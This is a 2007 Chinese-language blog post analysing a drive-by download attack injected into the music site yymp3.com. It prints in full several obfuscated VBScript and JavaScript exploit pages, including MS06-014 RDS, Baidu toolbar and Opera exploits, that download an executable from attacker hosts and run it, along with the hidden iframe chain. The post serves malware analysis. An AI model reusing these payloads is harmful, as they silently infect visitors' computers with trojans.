yymp3.com挂马逆向分析[上]
Submitted by 黯魂 on 2007, November 24, 1:37 PM. 学习笔记
本来是为我的新手机搜铃声来着的,但其中涉及到一些游戏和影视音乐,此时搜索引擎反而不如专业的免费在线听歌网站效率高。于是乎我来到了有着XXXX年历史的yymp3.com。
与往日不同,IE6.0浏览器在打开首页时有些短暂的停顿,而最让我感到警惕的是页面左上角先是闪过了几次realplayer播放器的影子,紧随其后显示了一个短线,类似于破折号。我感觉不对,立马查看页面源代码,果然不出所料,第一行便是挂马代码。同时浏览器状态栏不断提示网页有错误,点开后看到网马地址数目不少,而且本应该无声无息偷偷在后台安装的木马,却由于网吧机器的系统盘写保护功能弹出了这样一个提示框。如此一来真的是大大方便了我根据中马的情况来进行逆向分析,学习攻击者的思路,分析网马样本以及所用木马(后门或rootkit)程序。
刚才的画面由于我的眼疾手快,在没有“破坏现场”的情况下及时进行了取证 :)如下图所示:
从图中可以看出以下几点:
1. 挂马代码出现在页面源代码第一行。首先想到的便是极有可能是最近几个月闹得鸡飞狗跳的ARP挂马,其次攻击者设置的width为20,height为1,一反常规思路,竟然都不为0,此时本人怀疑攻击者是有意让人知道该站或该站服务器所在机房被人拿下。
2. 木马程序下载到本地后会自解压,并释放出以下子程序:vpcap.dll,npptools.dll,3.vbs,Vml.exe,Packet.dll,run.bat,WanPacket.dll到Windows根目录和系统根目录,同时释放npf.sys驱动文件到\windows\system32\drivers目录下。
随后我立即通过查看网页源代码工具对http://xx.exiao01.com/2.htm进行查看,代码如下:
- <iframe src='http://xx.exiao01.com/2.htm' width=20 height=1></iframe>
- <HTML>
- <body style="CURSOR: url(http://xx.exiao01.com/wm/ok.jpg)"></body>
- </HTML>
- <iframe src="http://xx.exiao01.com/wm/06014.htm" width="20" height="0" frameborder="0"></iframe>
- <iframe src="http://xx.exiao01.com/wm/6014.htm" width="20" height="0" frameborder="0"></iframe>
- <iframe src="http://xx.exiao01.com/wm/baidu.htm" width="20" height="0" frameborder="0"></iframe>
- <iframe src="http://cc.ehai01.com/wm/real.htm" width="20" height="0" frameborder="0"></iframe>
- <iframe src="http://xx.exiao01.com/wm/xl.htm" width="20" height="0" frameborder="0"></iframe>
- <iframe src="http://xx.exiao01.com/wm/by.htm" width="20" height="0" frameborder="0"></iframe>
- <iframe src="http://xx.exiao01.com/wm/pps.htm" width="20" height="0" frameborder="0"></iframe>
- <iframe src="http://xx.exiao01.com/wm/open.htm" width="20" height="0" frameborder="0"></iframe>
- <iframe src="http://xx.exiao01.com/wm/ms07004.htm" width="20" height="0" frameborder="0"></iframe>
- <iframe src="http://xx.exiao01.com/wm/yh.htm" width="20" height="0" frameborder="0"></iframe>
- <iframe src="http://xx.exiao01.com/wm/jetAudio.htm" width="20" height="0" frameborder="0"></iframe>
乖乖…… 这人真够狠的,不过从他对网马的命名规则可以初步断定网马中有利用MS06014漏洞的,还有利用MS07004,或许还有real以及最新的jet溢出漏洞。
接下来逐一进行分析,首先是页面http://xx.exiao01.com/wm/06014.htm的源码:
- <iframe src='http://xx.exiao01.com/2.htm' width=20 height=1></iframe>
- <html>
- <script language="VBScript">
- on error resume next
- sub passrav
- d3="S"&"h"&"e"&"l"&"l"&"."&"A"&"p"&"p"&"l"&"i"&"c"&"a"&"t"&"i"&"o"&"n"
- set aaa = df.createobject(d3,"")
- bbb1="o"&"p"
- bbb2="e"&"n"
- bbb=bbb1&bbb2
- aaa.sHeLLexecute fuckrav,"","",bbb,0
- end sub
- fuckfuck = "http://bbb.ehai01.com/0.exe"
- Set df = document.createElement("o"&"b"&"j"&"e"&"c"&"t")
- df.setAttribute "c"&"l"&"a"&"s"&"s"&"i"&"d", "c"&"l"&"s"&"id:"&"B"&"D"&"96"&"C5"&"56"&"-65"&"A3"&"-11"&"D0"&"-98"&"3A"&"-00"&"C04"&"FC2"&"9E"&"36"
- str="Mic"&"ro"&"so"&"ft."&"X"&"M"&"L"&"HT"&"TP"
- fso="S"&"c"&"r"&"i"&"p"&"t"&"i"&"n"&"g"&"."&"F"&"i"&"l"&"e"&"S"&"y"&"s"&"t"&"e"&"m"&"O"&"b"&"j"&"e"&"c"&"t"
- Set x = df.CreateObject(str,"")
- a1="A"&"d"&"o"
- a2="d"&"b"&"."
- a3="S"&"t"&"r"&"e"&"a"&"m"
- str1=a1&a2&a3
- str5=str1
- set S = df.createobject(str5,"")
- S.type = 1
- str6="G"&"E"&"T"
- x.Open str6, fuckfuck, False
- x.Send
- fuckrav="SmartUp.com"
- set F = df.createobject(fso,"")
- set tmp = F.GetSpecialFolder(2)
- S.open
- fuckrav= F.BuildPath(tmp,fuckrav)
- S.write x.responseBody
- S.savetofile fuckrav,2
- S.close
- call passrav
- </script>
- <head>
- <title>刺客网马</title>
- </head><body>
- </body></html>
好一个刺客网马,免杀的方法值得学习啊!为了确认这名称为06014的网马是否是真的利用的MS06014漏洞,特去网上查了一番,CLS-ID:BD96C556-65A3-11D0-983A-00C04FC29E36确实是06014漏洞根源msadco.dll所在。那么疑问得到了验证,不过我怀疑这么老的洞会有多少机器中标:)另外,大小仅为28KB的木马程序来自这里http://bbb.ehai01.com/0.exe,可是由于本人水平有限,无法对任意一个程序进行逆向工程,所以这里只能略过,希望哪位朋友可以拿这个样本去分析下,看是什么木马的变种,或者根本就是未公开的(那样就赚大喽^_^)。
接着来看http://xx.exiao01.com/wm/6014.htm的源码:
- <iframe src='http://xx.exiao01.com/2.htm' width=20 height=1></iframe>
- <SCRIPT>var loveyxn="%3Chtml%3E%3Cscript language%3D%22VBScript%22%3E
- on error resume next%0D%0A";document.write(unescape(loveyxn))
- </SCRIPT>
- y = "http://bbb.ehai01.com/0.exe"
- m4="down"
- m5="file"
- m6="copy"
- m7="exit"
- Set yc = document.createElement("object")
- yc.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
- ta=m4
- tb=m5
- tc=m6
- td=m7
- yi="Microsoft.XMLHTTP"
- Set yd = yc.CreateObject(yi,"")
- WX="Ado"
- XU="db."
- WANGXUELEI="YUXIAONA"
- WXL="YXN"
- LOVE="YXN"
- LE="Str"
- YX="eam"
- YXN=WX&XU&LE&YX
- WXL=YXN
- set ya = yc.createobject(WXL,"")
- ya.type = 1
- yh="GET"
- yd.Open yh, y, False
- yd.Send
- y9="别点我嘛.EXE"
- set yb = yc.createobject("S&loveyxn&crip&wangxuei&ting.Fil&521&eSystemObject","")
- set ye = yb.GetSpecialFolder(2)
- ya.open
- y8="ya.BuildPath(ya,y8)"
- y7="yb.BuildPath(yb,y7)"
- y6="yc.BuildPath(yd,y6)"
- y5="yd.BuildPath(yf,y5)"
- y4="ye.BuildPath(yg,y4)"
- y3="yf.BuildPath(yh,y4)"
- y2="yg.BuildPath(yi,y3)"
- y1="yh.BuildPath(yg,y1)"
- y0="yi.BuildPath(yk,y0)"
- y9= yb.BuildPath(ye,y9)
- ya.write yd.responseBody
- ya.savetofile y9,2
- ya.close
- set ye = yc.createobject("Shell.Application","")
- WANGXUELEI="YUXIAONA"
- WXL="YXN"
- LOVE="YXN"
- ye.ShellExecute y9,loveyxn,loveyxn,loveyxn,"o&love&pe&love&n",0</script></html>
- <script type="text/jscript">function init() { document.write("你好,您所访问的页面正在加载中...请稍候片刻....\)window.onload = init;</script>
同样是利用的06014,唯一的不同便是免杀方法上的差异,由此推断攻击者为了确保肉鸡的数量可真是煞费苦心啊,BS一下!
第三个,http://xx.exiao01.com/wm/baidu.htm的源码:
- <iframe src='http://xx.exiao01.com/2.htm' width=20 height=1></iframe>
- document.writeln("<script>");
- document.writeln("<script>");
- document.writeln("function DowndloadCalcAndRun()");
- document.writeln("{");
- document.writeln("com.dloadds(\"http:\/\/bbb.ehai01.com\/calc.cab\", \"calc.exe\", 00);");
- document.writeln("}");
- document.writeln("<\/script>");
- document.writeln("<\/head>");
- document.writeln("<OBJECT ID = \"com\" CLASSID = \"CLSID:{A7F05EE4-0426-454F-8013-C41E3596E9E9}\">");
- document.writeln("<\/OBJECT>");
- document.writeln("<script>");
- document.writeln("DowndloadCalcAndRun()");
- document.writeln("<\/script>");
- document.writeln("<\/script>");
CLSID:{A7F05EE4-0426-454F-8013-C41E3596E9E9}为百度搜霸浏览器工具栏溢出漏洞存在文件的CLSID,其他就不多说了。继续下一个:
http://cc.ehai01.com/wm/real.htm由于服务器问题无法打开,至此也无法验证是否有可能冒出了realplayer的0day :)然而从搜索获得的资料看来,的确是有realplayer的新洞爆出,下面看短暂描述:
源于RealPlayer 播放器中的MPAMedia.dll 提供的数据库组件,在处理播放列表名时存在栈溢出漏洞,可以使用ierpplug.dll提供的IERPCtl ActiveX 控件导入一个特殊的播放列表让RealPlayer读取,病毒作者可以通过构造包含此漏洞触发代码的恶意网页,当用户不小心浏览过该网页时,如果电脑中安装的RealPlayer 播放器版本包含此漏洞,就可以触发这个溢出,导致执行任意代码。
影响版本:RealPlayer 11 Beta
RealPlayer 10.5
该漏洞CVE数据库信息:CVE-2007-5601
而http://xx.exiao01.com/wm/xl.htm可以由CLSID确认为迅雷溢出漏洞网马。
http://xx.exiao01.com/wm/by.htm 同样由clsid:AE93C5DF-A990-11D1-AEBD-5254ABDD2B69确认为联众世界大厅ActiveX控件栈溢出漏洞。
http://xx.exiao01.com/wm/pps.htm利用的CLSID为clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458,确认为ppstream堆栈溢出。
http://xx.exiao01.com/wm/open.htm的代码为:
- <script>
- document.writeln("<HTM>");
- document.writeln("<head>");
- document.writeln("<script>");
- document.writeln("blank_iframe = document.createElement(\'iframe\');");
- document.writeln("blank_iframe.src = \'about:blank\';");
- document.writeln("blank_iframe.setAttribute(\'id\', \'blank_iframe_window\');");
- document.writeln("blank_iframe.setAttribute(\'style\', \'display:none\');");
- document.writeln("document.appendChild(blank_iframe);");
- document.writeln("blank_iframe_window.eval");
- document.writeln(" (\"config_iframe = document.createElement(\'iframe\');\\");
- document.writeln(" config_iframe.setAttribute(\'id\', \'config_iframe_window\');\\");
- document.writeln(" config_iframe.src = \'opera:config\';\\");
- document.writeln(" document.appendChild(config_iframe);\\");
- document.writeln(" app_iframe = document.createElement(\'script\');\\");
- document.writeln(" cache_iframe = document.createElement(\'iframe\');\\");
- document.writeln("");
- document.writeln("app_iframe.src = \"http://bbb.ehai01.com/0.exe";\\");
- document.writeln("app_iframe.onload = function ()\\");
- document.writeln(" {\\");
- document.writeln(" cache_iframe.src = \'opera:cache\';\\");
- document.writeln(" cache_iframe.onload = function ()\\");
- document.writeln(" {\\");
- document.writeln(" cache =
- cache_iframe.contentDocument.childNodes[0].innerHTML.toUpperCase();\\");
- document.writeln(" var re = new RegExp(\'(OPR\\\\\\\\w
- {5}.EXE)<\/TD>\\\\\\\\s*<TD>\\\\\\\\d+<\/TD>\\\\\\\\s*<TD><A HREF=\\\"\'+app_iframe.src.toUpperCase(),
- \'\');\\");
- document.writeln(" filename = cache.match(re);\\");
- document.writeln(" config_iframe_window.eval\\");
- document.writeln(" (\\\"\\");
- document.writeln(" opera.setPreference(\'Network\',\'TN3270 App\',opera.getPreference(\'User
- Prefs\',\'Cache Directory4\')+parent.filename[1]);\\");
- document.writeln(" app_link = document.createElement(\'a\');\\");
- document.writeln(" app_link.setAttribute(\'href\', \'tn3270:\/\/nothing\');\\");
- document.writeln(" app_link.click();\\");
- document.writeln(" setTimeout(function () {opera.setPreference(\'Network\',\'TN3270
- App\',\'telnet.exe\')},1000);\\");
- document.writeln(" \\\");\\");
- document.writeln(" };\\");
- document.writeln(" document.appendChild(cache_iframe);\\");
- document.writeln(" };\\");
- document.writeln(" document.appendChild(app_iframe);\");");
- document.writeln("<\/script>");
- document.writeln("<\/BODY>");
- document.writeln("<\/HTM>");
- document.writeln("刺客网马");
- document.writeln("");
- </script><Script Langvage=JavaScript>
- function Click(){
- if (event.button!=1){alert('刺客出品,必属精品,QQ群:49846396');
- }}
- document.onmousedown=Click;
- </Script>
由于现在已接近凌晨5点半,脑力有限,留到以后分析。
下面是http://xx.exiao01.com/wm/yh.htm,经验证是Yahoo! Messenger Webcam 8.1的ActiveX控件远程栈溢出漏洞的exploit.
最后,http://xx.exiao01.com/wm/jetAudio.htm利用的同样是溢出,不过目标换成了jetaudio这个媒体播放器。
综合分析:上述所有网马在源码底部都带有“刺客网马”字样,不排除是刺客本人所为。但经搜索引擎验证,他又被“诬陷”了……


TAG:
评分(